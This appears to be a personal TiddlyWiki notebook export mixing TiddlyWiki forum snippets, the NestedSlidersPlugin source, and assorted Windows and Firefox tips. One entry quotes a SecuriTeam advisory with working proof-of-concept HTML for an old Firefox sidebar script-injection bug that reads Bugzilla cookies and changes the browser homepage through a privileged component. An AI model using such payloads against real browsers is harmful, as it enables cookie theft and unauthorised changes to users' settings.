2008.05.14 [1.3.4] instead of hijacking getTaggedTiddlers(), added tweak of filterTiddlers() prototype to replace getTaggedTiddlers() with getMatchingTiddler() so that core use of getTaggedTiddlers() does not perform boolean processing of tiddler titles such as [[To Be or not To Be]].  Also, improved "filter error" messages in getMatchingTiddlers() to report tag expression in addition to actual eval error.
2008.04.25 [1.3.3] in getTaggedTiddlers(), fixed handling for "not" embedded within a tag
2008.04.21 [1.3.2] in getTaggedTiddlers(), fixed handling for initial "NOT" and "NOT(expr)" syntax
2008.04.20 [1.3.1] in getTaggedTiddlers(), corrected check for boolean expression to avoid excess processing of tags containing spaces.  Also, improved handling for non-existing tags that contain text of existing tags
2008.04.19 [1.3.0] in filterTiddlers(), use getTaggedTiddlers() instead of matchTags(), and then hijack getTaggedTiddlers() to add matchTags() handling
2008.04.19 [*.*.*] plugin size reduction: moved documentation to [[MatchTagsPluginInfo]]
2008.03.25 [1.2.0] added optional "sort:fieldname" parameter
2008.03.20 [1.1.2] in handler(), replace 'encodeTiddlyLink' with explicit [[...]] brackets to ensure that one-word tiddler titles are properly rendered as TiddlyLinks
2008.02.29 [1.1.1] in matchTags(), added handling to skip remaining tiddlers if expression has an error
2008.02.29 [1.1.0] refactored to define store.matchTags() and extend store.filterTiddlers()
2008.02.28 [1.0.0] initial release
<<<
[[MenuMore: a TiddlyWiki Theme - MenuMore give you more menus (V 1.0)|http://oldcat.googlegroups.com/web/MenuMoreEn.html]]
from Udo's site lists the first 9 tiddlers described, but not the ones
after that.  Is there a way to put it so that the output would be, say
the 5th through the 17th, but not before or after?

Thanks,
Dave Parker 
{{{
<<forEachTiddler
    where
        'tiddler.tags.contains("basic")'
    write
        '(index > 4 && index < 18) ? "* [["+tiddler.title+"]]\n" : ""' 
>>
}}}
Source: [[Midstream "index" FET - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/4c63730be0cc21e3#]]
I like this concept... so much so, that I've just updated
MiniBrowserPlugin and added a new inline script, BookmarkList, to auto-
generate a 'favorites' list for all the 'bookmark' tiddlers on
TiddlyTools.

First, get the update (v1.3.0) here:
   http://www.TiddlyTools.com/#MiniBrowserPlugin
which now supports wikifying content from favorites lists so that
forEachTiddler or inline script output can be used to generate lists
on-the-fly.

Next, install this inline script
   http://www.TiddlyTools.com/#BookmarkList
which contains the forEachTiddler or inline script that generates the
actual HR-separated list of bookmarks from individual tiddlers tagged
as "bookmark".  Of course, you can always write your own script, or
use {{{<<forEachTiddler>>}}} (as you described previously) to generate the
list content.

Then, simply write the following:
   {{{<<miniBrowser BookmarkList>>}}}

and the generated BookmarkList output will be used to populate the
'favorites' list in the MiniBrowser droplist. 

Source: [[MinibrowserPlugin & MiniBrowserList (by Eric) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/207099bc49d92a31#]]
Since it seems that you want the bullet items to be subordinate to the
numbered items, you probably want to use two ** instead of just one *
for the bullet items:
{{{
# header 1
** item 11
** item 12
** item 13
# header 2
** item 21
** item 22
** item 23
#header 3
** item 31
** item 32
** item 33
}}}

# header 1
** item 11
** item 12
** item 13
# header 2
** item 21
** item 22
** item 23
#header 3
** item 31
** item 32
** item 33

This will result in the 'header' items being numbered consecutively,
rather than restarting with "1" for each header. 

Source: [[Mixing bullet and numbered lists - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b6b24062541d67e0]]
<<tiddler ToolTabs>>


Mozilla Firefox URLs Script Injection (Exploit) ------------------------------------------------------------------------ SUMMARY Remote code injection vulnerability with Mozilla Firefox allow attackers to change and steal information from the user. DETAILS Exploit: // Exploit by Kohei Yoshino < !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd";> < html xmlns="http://www.w3.org/1999/xhtml"; xml:lang="en" lang="en"> < head> < meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> < title>Sidebar Attack, Reloaded< /title> < /head> < body> < p>1. < a href="#" target="_search" onclick="location.href = 'https://bugzilla.mozilla.org/';">Click here to < strong>open this page into sidebar< /strong>.< /a>< /p> < p>2. < a href="data:text/html,< script>document.write(document.cookie);< /script>">Click here to < strong>steal your cookies< /strong> on Bugzilla.< /a>< /p> < p>3. Then, open about:config in content area.< /p> < p>4. < a href="data:text/html,< script>Components.classes['@mozilla.org/preferences-service;1'].getService( Components.interfaces.nsIPrefBranch ).setCharPref('browser.startup.homepage', 'http://www.mozdev.org/');< /script>">Click here to < strong>change your home page to mozdev.org< /strong>.< /a>< /p> < /body> < /html> 

Source: [[[EXPL] Mozilla Firefox URLs Script Injection (Expl: msg#00063|http://osdir.com/ml/security.securiteam/2005-07/msg00063.html]]
Mozilla Firefox - Have It Your Way!

Source: [[Mozilla Firefox - Have it Your Way!|http://lesliefranke.com/files/firefoxyourway/]]
The aim of this site is to help end users (i.e. you) get the most out of Mozilla products 

Source: [[Mozilla Help & Support - Gunnar's Mozilla Help Site -|http://mozilla.gunnars.net/index.htm]]
[[My Notes TiddlyWiki 2.02 - Another useful TiddlyWiki resource from http://www.giffmex.org|http://www.giffmex.org/emptynotestw.html]]
!MyStuffList
{{liststyleimagenone underlineLink {
<<tiddlerList tags:mystuff order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
<<tiddlerList tags:mystuff  order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
/***
|Name|NestedSlidersPlugin|
|Source|http://www.TiddlyTools.com/#NestedSlidersPlugin|
|Version|2.3.2|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|Slider.prototype.stop|
|Description|show content in nest-able 'slider' or 'floating' panels, without needing to create separate tiddlers for each panel|

!!!!!Configuration
<<<
Enable animation for slider panels
<<option chkFloatingSlidersAnimate>> allow sliders to animate when opening/closing
>(note: This setting is in //addition// to the general option for enabling/disabling animation effects:
><<option chkAnimate>> enable animations (entire document)
>For slider animation to occur, you must also allow animation in general.

Debugging messages for 'lazy sliders' deferred rendering:
<<option chkDebugLazySliderDefer>> show debugging alert when deferring slider rendering
<<option chkDebugLazySliderRender>> show debugging alert when deferred slider is actually rendered
<<<
!!!!!Usage
<<<
When installed, this plugin adds new wiki syntax for embedding 'slider' panels directly into tiddler content.  Use {{{+++}}} and {{{===}}} to delimit the slider content.  You can also 'nest' these sliders as deep as you like (see complex nesting example below), so that expandable 'tree-like' hierarchical displays can be created.  This is most useful when converting existing in-line text content to create in-line annotations, footnotes, context-sensitive help, or other subordinate information displays.

Additional optional syntax elements let you specify
*default to open
*cookiename
*heading level
*floater (with optional CSS width value)
*transient display (clicking elsewhere closes panel)
*custom class/label/tooltip/accesskey
*alternate label/tooltip (displayed when panel is open)
*panelID (for later use with {{{<<DOM>>}}} macro.  See [[DOMTweaksPlugin]])
*automatic blockquote style on panel
*deferred rendering of panel content
The complete syntax, using all options, is:
//{{{
++++(cookiename)!!!!!^width^*{{class{[label=key|tooltip][altlabel|alttooltip]}}}#panelID:>...
content goes here
===
//}}}
where:
* {{{+++}}} (or {{{++++}}}) and {{{===}}}<br>marks the start and end of the slider definition, respectively.  When the extra {{{+}}} is used, the slider will be open when initially displayed.
* {{{(cookiename)}}}<br>saves the slider opened/closed state, and restores this state whenever the slider is re-rendered.
* {{{!}}} through {{{!!!!!}}}<br>displays the slider label using a formatted headline (Hn) style instead of a button/link style
* {{{^width^}}} (or just {{{^}}})<br>makes the slider 'float' on top of other content rather than shifting that content downward.  'width' must be a valid CSS value (e.g., "30em", "180px", "50%", etc.).  If omitted, the default width is "auto" (i.e., fit to content)
* {{{"*"}}} //(without the quotes)//<br>denotes "transient display": when a click occurs elsewhere in the document, the slider/floating panel will be automatically closed.  This is useful for creating 'pulldown menus' that automatically go away after they are used.  //Note: using SHIFT-click on a slider label will open/close that slider without triggering the automatic closing of any transient slider panels that are currently displayed, permitting ''temporary'' display of several transient panels at once.//
* """{{class{[label=key|tooltip][altlabel|alttooltip]}}}"""<br>uses label/tooltip/accesskey.  """{{class{...}}}""", """=key""", """|tooltip""" and """[altlabel|alttooltip]""" are optional.  'class' is any valid CSS class name, used to style the slider label text.  'key' must be a ''single letter only''.  altlabel/alttooltip specifiy alternative label/tooltip for use when slider/floating panel is displayed.
* {{{#panelID:}}}<br>defines a unique DOM element ID that is assigned to the panel element used to display the slider content.  This ID can then be used later to reposition the panel using the {{{<<DOM move id>>}}} macro (see [[DOMTweaksPlugin]]), or to access/modify the panel element through use of {{{document.getElementById(...)}}}) javascript code in a plugin or inline script.
* {{{">"}}} //(without the quotes)//<br>automatically adds blockquote formatting to slider content
* {{{"..."}}} //(without the quotes)//<br>defers rendering of closed sliders until the first time they are opened.  //Note: deferred rendering may produce unexpected results in some cases.  Use with care.//

//Note: to make slider definitions easier to read and recognize when editing a tiddler, newlines immediately following the {{{+++}}} 'start slider' or preceding the {{{===}}} 'end slider' sequence are automatically supressed so that excess whitespace is eliminated from the output.//
<<<
!!!!!Examples
<<<
simple in-line slider: 
{{{
+++
   content
===
}}}
+++
   content
===
----
use a custom label and tooltip: 
{{{
+++[label|tooltip]
   content
===
}}}
+++[label|tooltip]
   content
===
----
content automatically blockquoted: 
{{{
+++>
   content
===
}}}
+++>
   content
===
----
all options combined //(default open, cookie, heading, sized floater, transient, class, label/tooltip/key, blockquoted, deferred)//
{{{
++++(testcookie)!!!^30em^*{{big{[label=Z|click or press Alt-Z to open]}}}>...
   content
===
}}}
++++(testcookie)!!!^30em^*{{big{[label=Z|click or press Alt-Z to open]}}}>...
   content
===
----
complex nesting example:
{{{
+++[get info...=I|click for information or press Alt-I]
	put some general information here,
	plus a floating panel with more specific info:
	+++^10em^[view details...|click for details]
		put some detail here, which could in turn contain a transient panel,
		perhaps with a +++^25em^*[glossary definition]explaining technical terms===
	===
===
}}}
+++[get info...=I|click for information or press Alt-I]
	put some general information here,
	plus a floating panel with more specific info:
	+++^10em^[view details...|click for details]
		put some detail here, which could in turn contain a transient panel,
		perhaps with a +++^25em^*[glossary definition]explaining technical terms===
	===
===
<<<
!!!!!Installation
<<<
import (or copy/paste) the following tiddlers into your document:
''NestedSlidersPlugin'' (tagged with <<tag systemConfig>>)
<<<
!!!!!Revision History
<<<
''2007.11.14 - 2.3.2'' in onClickNestedSlider(), prevent SHIFT-click events from opening a new, empty browser window by setting "cancelBubble=true" and calling "stopPropagation()".  Note: SHIFT-click is still processed as a normal click (i.e., it toggles the slider panel display).  Also, using SHIFT-click will prevent 'transient' sliders from being automatically closed when another slider is opened, allowing you to *temporarily* display several transient sliders at once.
''2007.07.26 - 2.3.1'' in document.onclick(), propagate return value from hijacked core click handler to consume OR bubble up click as needed.  Fixes "IE click disease", whereby nearly every mouse click causes a page transition.
|please see [[NestedSlidersPluginHistory]] for additional revision details|
''2005.11.03 - 1.0.0'' initial public release
<<<
!!!!!Credits
<<<
This feature was implemented by EricShulman from [[ELS Design Studios|http:/www.elsdesign.com]] with initial research and suggestions from RodneyGomes, GeoffSlocock, and PaulPetterson.
<<<
!!!!!Code
***/
//{{{
version.extensions.nestedSliders = {major: 2, minor: 3, revision: 2, date: new Date(2007,11,14)};
//}}}

//{{{
// options for deferred rendering of sliders that are not initially displayed
if (config.options.chkDebugLazySliderDefer==undefined) config.options.chkDebugLazySliderDefer=false;
if (config.options.chkDebugLazySliderRender==undefined) config.options.chkDebugLazySliderRender=false;
if (config.options.chkFloatingSlidersAnimate==undefined) config.options.chkFloatingSlidersAnimate=false;

// default styles for 'floating' class
setStylesheet(".floatingPanel { position:absolute; z-index:10; padding:0.5em; margin:0em; \
	background-color:#eee; color:#000; border:1px solid #000; text-align:left; }","floatingPanelStylesheet");
//}}}

//{{{
config.formatters.push( {
	name: "nestedSliders",
	match: "\\n?\\+{3}",
	terminator: "\\s*\\={3}\\n?",
	lookahead: "\\n?\\+{3}(\\+)?(\\([^\\)]*\\))?(\\!*)?(\\^(?:[^\\^\\*\\[\\>]*\\^)?)?(\\*)?(?:\\{\\{([\\w]+[\\s\\w]*)\\{)?(\\[[^\\]]*\\])?(\\[[^\\]]*\\])?(?:\\}{3})?(\\#[^:]*\\:)?(\\>)?(\\.\\.\\.)?\\s*",
	handler: function(w)
		{
			lookaheadRegExp = new RegExp(this.lookahead,"mg");
			lookaheadRegExp.lastIndex = w.matchStart;
			var lookaheadMatch = lookaheadRegExp.exec(w.source)
			if(lookaheadMatch && lookaheadMatch.index == w.matchStart)
			{
				// var defopen=lookaheadMatch[1]
				// var cookiename=lookaheadMatch[2]
				// var header=lookaheadMatch[3]
				// var panelwidth=lookaheadMatch[4]
				// var transient=lookaheadMatch[5]
				// var class=lookaheadMatch[6]
				// var label=lookaheadMatch[7]
				// var openlabel=lookaheadMatch[8]
				// var panelID=lookaheadMatch[9]
				// var blockquote=lookaheadMatch[10]
				// var deferred=lookaheadMatch[11]

				// location for rendering button and panel
				var place=w.output;

				// default to closed, no cookie, no accesskey, no alternate text/tip
				var show="none"; var cookie=""; var key="";
				var closedtext=">"; var closedtip="";
				var openedtext="<"; var openedtip="";

				// extra "+", default to open
				if (lookaheadMatch[1]) show="block";

				// cookie, use saved open/closed state
				if (lookaheadMatch[2]) {
					cookie=lookaheadMatch[2].trim().slice(1,-1);
					cookie="chkSlider"+cookie;
					if (config.options[cookie]==undefined)
						{ config.options[cookie] = (show=="block") }
					show=config.options[cookie]?"block":"none";
				}

				// parse label/tooltip/accesskey: [label=X|tooltip]
				if (lookaheadMatch[7]) {
					var parts=lookaheadMatch[7].trim().slice(1,-1).split("|");
					closedtext=parts.shift();
					if (closedtext.substr(closedtext.length-2,1)=="=")	
						{ key=closedtext.substr(closedtext.length-1,1); closedtext=closedtext.slice(0,-2); }
					openedtext=closedtext;
					if (parts.length) closedtip=openedtip=parts.join("|");
					else { closedtip="show "+closedtext; openedtip="hide "+closedtext; }
				}

				// parse alternate label/tooltip: [label|tooltip]
				if (lookaheadMatch[8]) {
					var parts=lookaheadMatch[8].trim().slice(1,-1).split("|");
					openedtext=parts.shift();
					if (parts.length) openedtip=parts.join("|");
					else openedtip="hide "+openedtext;
				}

				var title=show=='block'?openedtext:closedtext;
				var tooltip=show=='block'?openedtip:closedtip;

				// create the button
				if (lookaheadMatch[3]) { // use "Hn" header format instead of button/link
					var lvl=(lookaheadMatch[3].length>6)?6:lookaheadMatch[3].length;
					var btn = createTiddlyElement(createTiddlyElement(place,"h"+lvl,null,null,null),"a",null,lookaheadMatch[6],title);
					btn.onclick=onClickNestedSlider;
					btn.setAttribute("href","javascript:;");
					btn.setAttribute("title",tooltip);
				}
				else
					var btn = createTiddlyButton(place,title,tooltip,onClickNestedSlider,lookaheadMatch[6]);
				btn.innerHTML=title; // enables use of HTML entities in label

				// set extra button attributes
				btn.setAttribute("closedtext",closedtext);
				btn.setAttribute("closedtip",closedtip);
				btn.setAttribute("openedtext",openedtext);
				btn.setAttribute("openedtip",openedtip);
				btn.sliderCookie = cookie; // save the cookiename (if any) in the button object
				btn.defOpen=lookaheadMatch[1]!=null; // save default open/closed state (boolean)
				btn.keyparam=key; // save the access key letter ("" if none)
				if (key.length) {
					btn.setAttribute("accessKey",key); // init access key
					btn.onfocus=function(){this.setAttribute("accessKey",this.keyparam);}; // **reclaim** access key on focus
				}
				btn.onmouseover=function(event) // mouseover on button aligns floater position with button
					{ if (window.adjustSliderPos) window.adjustSliderPos(this.parentNode,this,this.sliderPanel,this.sliderPanel.className); }

				// create slider panel
				var panelClass=lookaheadMatch[4]?"floatingPanel":"sliderPanel";
				var panelID=lookaheadMatch[9]; if (panelID) panelID=panelID.slice(1,-1); // trim off delimiters
				var panel=createTiddlyElement(place,"div",panelID,panelClass,null);
				panel.button = btn; // so the slider panel know which button it belongs to
				btn.sliderPanel=panel; // so the button knows which slider panel it belongs to
				panel.defaultPanelWidth=(lookaheadMatch[4] && lookaheadMatch[4].length>2)?lookaheadMatch[4].slice(1,-1):"";
				panel.setAttribute("transient",lookaheadMatch[5]=="*"?"true":"false");
				panel.style.display = show;
				panel.style.width=panel.defaultPanelWidth;
				panel.onmouseover=function(event) // mouseover on panel aligns floater position with button
					{ if (window.adjustSliderPos) window.adjustSliderPos(this.parentNode,this.button,this,this.className); }

				// render slider (or defer until shown) 
				w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
				if ((show=="block")||!lookaheadMatch[11]) {
					// render now if panel is supposed to be shown or NOT deferred rendering
					w.subWikify(lookaheadMatch[10]?createTiddlyElement(panel,"blockquote"):panel,this.terminator);
					// align floater position with button
					if (window.adjustSliderPos) window.adjustSliderPos(place,btn,panel,panelClass);
				}
				else {
					var src = w.source.substr(w.nextMatch);
					var endpos=findMatchingDelimiter(src,"+++","===");
					panel.setAttribute("raw",src.substr(0,endpos));
					panel.setAttribute("blockquote",lookaheadMatch[10]?"true":"false");
					panel.setAttribute("rendered","false");
					w.nextMatch += endpos+3;
					if (w.source.substr(w.nextMatch,1)=="\n") w.nextMatch++;
					if (config.options.chkDebugLazySliderDefer) alert("deferred '"+title+"':\n\n"+panel.getAttribute("raw"));
				}
			}
		}
	}
)

// TBD: ignore 'quoted' delimiters (e.g., "{{{+++foo===}}}" isn't really a slider)
function findMatchingDelimiter(src,starttext,endtext) {
	var startpos = 0;
	var endpos = src.indexOf(endtext);
	// check for nested delimiters
	while (src.substring(startpos,endpos-1).indexOf(starttext)!=-1) {
		// count number of nested 'starts'
		var startcount=0;
		var temp = src.substring(startpos,endpos-1);
		var pos=temp.indexOf(starttext);
		while (pos!=-1)  { startcount++; pos=temp.indexOf(starttext,pos+starttext.length); }
		// set up to check for additional 'starts' after adjusting endpos
		startpos=endpos+endtext.length;
		// find endpos for corresponding number of matching 'ends'
		while (startcount && endpos!=-1) {
			endpos = src.indexOf(endtext,endpos+endtext.length);
			startcount--;
		}
	}
	return (endpos==-1)?src.length:endpos;
}
//}}}

//{{{
window.onClickNestedSlider=function(e)
{
	if (!e) var e = window.event;
	var theTarget = resolveTarget(e);
	var theLabel = theTarget.firstChild.data;
	var theSlider = theTarget.sliderPanel
	var isOpen = theSlider.style.display!="none";

	// toggle label
	theTarget.innerHTML=isOpen?theTarget.getAttribute("closedText"):theTarget.getAttribute("openedText");
	// toggle tooltip
	theTarget.setAttribute("title",isOpen?theTarget.getAttribute("closedTip"):theTarget.getAttribute("openedTip"));

	// deferred rendering (if needed)
	if (theSlider.getAttribute("rendered")=="false") {
		if (config.options.chkDebugLazySliderRender)
			alert("rendering '"+theLabel+"':\n\n"+theSlider.getAttribute("raw"));
		var place=theSlider;
		if (theSlider.getAttribute("blockquote")=="true")
			place=createTiddlyElement(place,"blockquote");
		wikify(theSlider.getAttribute("raw"),place);
		theSlider.setAttribute("rendered","true");
	}
	// show/hide the slider
	if(config.options.chkAnimate && (theSlider.className!='floatingPanel' || config.options.chkFloatingSlidersAnimate))
		anim.startAnimating(new Slider(theSlider,!isOpen,e.shiftKey || e.altKey,"none"));
	else
		theSlider.style.display = isOpen ? "none" : "block";
	// reset to default width (might have been changed via plugin code)
	theSlider.style.width=theSlider.defaultPanelWidth;
	// align floater panel position with target button
	if (!isOpen && window.adjustSliderPos) window.adjustSliderPos(theSlider.parentNode,theTarget,theSlider,theSlider.className);
	// if showing panel, set focus to first 'focus-able' element in panel
	if (theSlider.style.display!="none") {
		var ctrls=theSlider.getElementsByTagName("*");
		for (var c=0; c<ctrls.length; c++) {
			var t=ctrls[c].tagName.toLowerCase();
			if ((t=="input" && ctrls[c].type!="hidden") || t=="textarea" || t=="select")
				{ ctrls[c].focus(); break; }
		}
	}
	var cookie=theTarget.sliderCookie;
	if (cookie && cookie.length) {
		config.options[cookie]=!isOpen;
		if (config.options[cookie]!=theTarget.defOpen)
			saveOptionCookie(cookie);
		else { // remove cookie if slider is in default display state
			var ex=new Date(); ex.setTime(ex.getTime()-1000);
			document.cookie = cookie+"=novalue; path=/; expires="+ex.toGMTString();
		}
	}
	// prevent SHIFT-CLICK from being processed by browser (opens blank window... yuck!)
	// but allow plain click to bubble up to page background (to dismiss open popup, if any)
	if (e.shiftKey) { e.cancelBubble=true; if (e.stopPropagation) e.stopPropagation(); }
	return false;
}
//}}}

//{{{
// click in document background closes transient panels 
document.nestedSliders_savedOnClick=document.onclick;
document.onclick=function(ev) { if (!ev) var ev=window.event; var target=resolveTarget(ev);
	// call original click handler
	if (document.nestedSliders_savedOnClick)
		var retval=document.nestedSliders_savedOnClick.apply(this,arguments);
	// if click was inside transient panel (or something contained by a transient panel)... leave it alone
	var p=target;
	while (p)
		if ((p.className=="floatingPanel"||p.className=="sliderPanel")&&p.getAttribute("transient")=="true") break;
		else p=p.parentNode;
	if (p) return retval;
	// otherwise, find and close all transient panels...
	var all=document.all?document.all:document.getElementsByTagName("DIV");
	for (var i=0; i<all.length; i++) {
		 // if it is not a transient panel, or the click was on the button that opened this panel, don't close it.
		if (all[i].getAttribute("transient")!="true" || all[i].button==target) continue;
		// otherwise, if the panel is currently visible, close it by clicking it's button
		if (all[i].style.display!="none") window.onClickNestedSlider({target:all[i].button}) 
	}
	return retval;
};
//}}}

//{{{
// adjust floating panel position based on button position
if (window.adjustSliderPos==undefined) window.adjustSliderPos=function(place,btn,panel,panelClass) {
	if (panelClass=="floatingPanel") {
		var left=0;
		var top=btn.offsetHeight; 
		if (place.style.position!="relative") {
			var left=findPosX(btn);
			var top=findPosY(btn)+btn.offsetHeight;
			var p=place; while (p && p.className!='floatingPanel') p=p.parentNode;
			if (p) { left-=findPosX(p); top-=findPosY(p); }
		}
		if (findPosX(btn)+panel.offsetWidth > getWindowWidth())  // adjust position to stay inside right window edge
			left-=findPosX(btn)+panel.offsetWidth-getWindowWidth()+15; // add extra 15px 'fudge factor'
		panel.style.left=left+"px"; panel.style.top=top+"px";
	}
}

function getWindowWidth() {
	if(document.width!=undefined)
		return document.width; // moz (FF)
	if(document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) )
		return document.documentElement.clientWidth; // IE6
	if(document.body && ( document.body.clientWidth || document.body.clientHeight ) )
		return document.body.clientWidth; // IE4
	if(window.innerWidth!=undefined)
		return window.innerWidth; // IE - general
	return 0; // unknown
}
//}}}

//{{{
// TW2.1 and earlier:
// hijack Slider animation handler 'stop' handler so overflow is visible after animation has completed
Slider.prototype.coreStop = Slider.prototype.stop;
Slider.prototype.stop = function()
	{ this.coreStop.apply(this,arguments); this.element.style.overflow = "visible"; }

// TW2.2+
// hijack Morpher animation handler 'stop' handler so overflow is visible after animation has completed
if (version.major+.1*version.minor+.01*version.revision>=2.2) {
	Morpher.prototype.coreStop = Morpher.prototype.stop;
	Morpher.prototype.stop = function()
		{ this.coreStop.apply(this,arguments); this.element.style.overflow = "visible"; }
}
//}}}
Provides a 'peek' into nested sliders using TagglyTagging

[[NestedSlidersPlugin tweak (pretty please!) - TiddlyWiki : Google Groups|http://tinyurl.com/3q9xbv]]
How to Fix New Folder in Vista
[[New Folder - Vista Forums|http://www.vistax64.com/tutorials/69837-new-folder.html]]
config.views.editor.defaultText = "";
<<newJournal "YYYY.0MM.0DD at 0hh:0mm:0ss">>
!NewsList
{{liststyleimagenone underlineLink {
<<tiddlerList tags:news order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
      We suggest that you print this page before you start. PRINT
    *

      This document is for Norton 2008 products. If you have a different product, please go to our main document and choose the product that you have. Then follow the steps in that document.
    *

      If you have more than one Norton product, be sure to get the product key, CD or installation file for each product that you want to reinstall before running the Norton Removal Tool.
    * If you have installed Norton Add-on Pack for your Norton Internet Security, run the Add-on Pack migration tool to backup your Norton AntiSpam and Parental Controls settings. Read, Exporting your Norton Add-on Pack settings while upgrading to Norton Add-on Pack 2.1.

Source: [[Save your Norton 2008 Product Key, then download and run the Norton Removal Tool|http://service1.symantec.com/SUPPORT/norton2008.nsf/docid/2007082908475279?Open&docid=2005033108162039&nsf=tsgeninfo.nsf&view=docid]]
> tremendous overkill for a job of 'list missing tag' script would be
> about 500 bytes using a plugin I already have.
> Would you mind giving me a little script to do the job?
{{{
<script>
   var out=[];
   var tids=store.getTiddlers("title","tagToExclude");
   for (var t=0; t<tids.length; t++)
      out.push(String.encodeTiddlyLink(tids[t].title));
   return out.join("\n");
</script> 
}}}
Source: [[Not tagged - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/66071b0c3a6c480a]]
> I can't remember who came up with this script for a home button but is
> very useful for opening any list of tiddlers for various reasons.  I
> wonder if anyone knows how to get it to open the tiddlers in the
> reverse order from what it does now?

add ".reverse()", like this:

store.getTiddlerText('DefaultTiddlers').readBracketedList().reverse();

enjoy,
-e 

Source: [[Open list in reverse order - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/8b5a116bcff96f22/a9973ce07eb1453e?lnk=gst&q=reverse#a9973ce07eb1453e]]
The model of an open source project belonging to a not-for-profit
organisation as opposed to an individual is very boring and highly
conventional:

http://en.wikipedia.org/wiki/Free_Software_Foundation
http://en.wikipedia.org/wiki/Apache_Software_Foundation
http://en.wikipedia.org/wiki/Mozilla_Foundation
http://en.wikipedia.org/wiki/Eclipse_Foundation
http://en.wikipedia.org/wiki/Symbian_Foundation
http://en.wikipedia.org/wiki/Wikimedia_Foundation
http://en.wikipedia.org/wiki/The_Perl_Foundation
http://en.wikipedia.org/wiki/Python_Software_Foundation
http://en.wikipedia.org/wiki/OpenBSD_Foundation
http://en.wikipedia.org/wiki/OpenOffice.org
http://en.wikipedia.org/wiki/Open_Source_Applications_Foundation
http://en.wikipedia.org/wiki/Open_Source_Development_Labs
http://en.wikipedia.org/wiki/X.Org_Foundation
http://en.wikipedia.org/wiki/Linux_Foundation
http://en.wikipedia.org/wiki/Open_Invention_Network
etc, etc ..

> Is it common in R&D in companies like BT?

I think BT and Osmosoft are pretty innovative in how they have chosen
to undertake "Open Source Innovation" through Osmosoft, however other
companies are also undertaking similar approaches, sometimes under the
banner of "open innovation":

    http://en.wikipedia.org/wiki/Open_innovation

I'd point out this is not the only way BT fosters innovation and uses
other models of collaboration with academia, other companies, and
organisations. Jeremy wrote a nice explanation of Osmosoft's raison
d'être:

    http://jermolene.com/2008/08/13/what-is-the-point-of-osmosoft/

Osmosoft is but a tiny part of BT Design, whose Managing Director, JP
Rangaswami:

    http://en.wikipedia.org/wiki/JP_Rangaswami

is a thought leader in the value of "open":

    http://confusedofcalcutta.com/ 

Source: [[Is Eric Priceless? You tell us - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/7a4c60f0addc3960/4698ace91c5a92e7#4698ace91c5a92e7]]
Well, Saq has recently created a Firefox extension to prevent the same
page from being opened twice:
     htttp://fnd.lewcid.org/tmp/noduplicatetabs.xpi
It's never been officially announced though, and is still considered an
early beta - however, I've happily been using it for quite a while now.
Also, I'm not sure whether that XPI there is actually the latest version
(0.21). 

Source: [[Opening a TW just once from multiple hyperlinks - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/1bf9355e225eef76]]
Also, when using InlineJavascriptPlugin, you can easily create the
'button' using the following syntax:
{{{
<script label="edit">
   story.displayTiddler(null,'History',2);
</script>
}}}
Example from the above code.
<script label="edit">
   story.displayTiddler(null,'History',2);
</script>

The use of the label="..." syntax automatically results in an 'onclick
script' being created.

{{{
<script label="edit a tiddler">
   var title=prompt("Enter the title of a tiddler to edit (case sensitive)");
   while (title && title.length && !store.tiddlerExists(title)) {
      displayMessage("The tiddler '%0' doesn't exist".format([title]));
      var title=prompt("Please enter a tiddler title",title);
   }
   if (!title||!title.length) return; /* cancelled by user */
   story.displayTiddler(null,title,2);
</script> 
}}}
Example from the above code.
<script label="edit a tiddler">
   var title=prompt("Enter the title of a tiddler to edit (case sensitive)");
   while (title && title.length && !store.tiddlerExists(title)) {
      displayMessage("The tiddler '%0' doesn't exist".format([title]));
      var title=prompt("Please enter a tiddler title",title);
   }
   if (!title||!title.length) return; /* cancelled by user */
   story.displayTiddler(null,title,2);
</script> 
----
Lastly, although you are only doing this as a 'one-off' solution to
fix your self-closing tiddler, you might want to install:
    http://www.TiddlyTools.com/#EditTiddlerPlugin

Usage: <<editTiddler TiddlerName>> 

Source: [[Opening an existing tiddler in edit mode (cont.) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/f0cf73423ea12e94]]
<<tiddler TspotOptions>>These InterfaceOptions for customising TiddlyWiki are saved in your browser

Your username for signing your edits. Write it as a WikiWord (eg JoeBloggs)

<<option txtUserName>>
<<option chkSaveBackups>> SaveBackups
<<option chkAutoSave>> AutoSave
<<option chkRegExpSearch>> RegExpSearch
<<option chkCaseSensitiveSearch>> CaseSensitiveSearch
<<option chkAnimate>> EnableAnimations

----
Also see AdvancedOptions
Use Explorer to navigate to C:\Program Files\Common Files\System
Copy wab32.dll and wab32res.dll to C:\Windows\System32

Source: [[Outlook 2000 on Windows Vista « Scott’s Blog|http://miniburb.wordpress.com/2007/03/07/outlook-2000-on-windows-vista/]]
/***
!!!<<gradient horiz #fcb #fff >>&nbsp;PageCSS&nbsp;<<tiddler RefreshStyles>>>>/%==================================================%/
{{{
background:url("http://img261.imageshack.us/img261/8603/navbargrayhw1.png") repeat-x top left;top left;
http://img520.imageshack.us/img520/8688/mainmenugray7ef.gif
background:url("http://img181.imageshack.us/img181/4080/headerredtv7.png") repeat-x top left;top left;
}}}
***/

 #contentWrapper{
 background: #fff;
